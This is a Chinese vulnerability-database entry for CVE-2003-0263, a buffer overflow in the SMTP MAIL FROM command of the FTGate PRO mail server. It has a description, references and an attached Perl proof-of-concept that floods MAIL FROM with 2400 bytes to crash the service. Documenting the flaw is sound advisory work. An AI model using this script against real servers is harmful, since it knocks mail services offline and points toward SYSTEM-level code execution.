Floosietek FTGate PRO SMTP MAIL FROM远程缓冲区溢出漏洞

Floosietek FTGate PRO SMTP MAIL FROM远程缓冲区溢出漏洞

漏洞ID 1107304 漏洞类型 未知
发布时间 2003-05-06 更新时间 2005-10-20
图片[1]-Floosietek FTGate PRO SMTP MAIL FROM远程缓冲区溢出漏洞-安全小百科CVE编号 CVE-2003-0263
图片[2]-Floosietek FTGate PRO SMTP MAIL FROM远程缓冲区溢出漏洞-安全小百科CNNVD-ID CNNVD-200305-068
漏洞平台 Windows CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/22568
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200305-068
|漏洞详情
FTGatePro是一款网络共享代理服务程序,支持多种协议。FTGatePro邮件服务程序对超长SMTP’MailFrom’命令参数缺少正确的缓冲区边界检查,远程攻击者可以利用这个漏洞对服务程序进行缓冲区溢出攻击,可能以SYSTEM用户权限在系统上执行任意指令。当恶意攻击攻击者发送”MAILFROM”字段中包含超长字符串的邮件给FTGatePro邮件服务程序时,会发生缓冲区溢出,如果精心构建提交字符串,可能以SYSTEM权限在系统上执行任意指令。
|漏洞EXP
source: http://www.securityfocus.com/bid/7506/info

A buffer overflow vulnerability has been reported for Floosietek FTGate PRO mail server. The vulnerability exists when the mail server attempts to process overly long SMTP 'Mail From' arguments. Due to the nature of this vulnerability it may be exploited to execute attacker-supplied code with the privileges of the SYSTEM user.

This vulnerability was reported for FTGate PRO 1.22 Hotfix(1328). It is likely that previous versions are also affected. 

#!/usr/bin/perl -w
##################
# FTGate Pro Mail Server v. 1.22 (1328) DoS attack
#
# URL: http://www.infowarfare.dk/
# EMAIL: [email protected]
# USAGE: sploit.pl <target ip>
#
# Summary:
#
# The problem is a Buffer Overflow in the SMTP protocol, within the 
# ESMTP Server FTGate, causing the service to stop responding for a short
# Period, where we can actually overwrite the exception handler on the stack allowing 
# A system compromise with code execution running as SYSTEM.
# 
#
# Solution: 
# Upgrade to FTGate Pro Mail Server v. 1.22 (HotFix 1330) or later
# 
#

use IO::Socket;
    
$target = shift() || "warlab.dk";
my $port = 25;
my $Buffer = "a" x 2400;


my $sock = IO::Socket::INET->new (
                                    PeerAddr => $target,
                                    PeerPort => $port,
                                    Proto => 'tcp'
                                 ) || die "could not connect: $!";

my $banner = <$sock>;
if ($banner !~ /^2.*/)
{
    print STDERR "Error: invalid server response '$banner'.n";
    exit(1);
}

print $sock "HELO $targetrn";
$resp = <$sock>;

print $sock "MAIL FROM: $Buffer@$Buffer.dkrn";
$resp = <$sock>;

print $sock "rn";
print $sock "rnrnrnrnrnrn";

close($sock);
|参考资料

来源:BID
名称:7508
链接:http://www.securityfocus.com/bid/7508
来源:BID
名称:7506
链接:http://www.securityfocus.com/bid/7506
来源:BUGTRAQ
名称:20030506MultipleBufferOverflowVulnerabilitiesFoundinFTGateProMailServerv.1.22(1328)
链接:http://marc.theaimsgroup.com/?l=bugtraq&m;=105223471822836&w;=2
来源:XF
名称:ftgate-mailfrom-rcptto-bo(11951)
链接:http://xforce.iss.net/xforce/xfdb/11951
来源:VULNWATCH
名称:20030506MultipleBufferOverflowVulnerabilitiesFoundinFTGateProMailServerv.1.22(1328)
链接:http://archives.neohapsis.com/archives/vulnwatch/2003-q2/0052.html

相关推荐: GNU tar命令任意执行漏洞

GNU tar命令任意执行漏洞 漏洞ID 1207598 漏洞类型 其他 发布时间 1997-01-01 更新时间 1997-01-01 CVE编号 CVE-1999-0202 CNNVD-ID CNNVD-199701-017 漏洞平台 N/A CVSS评分…

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享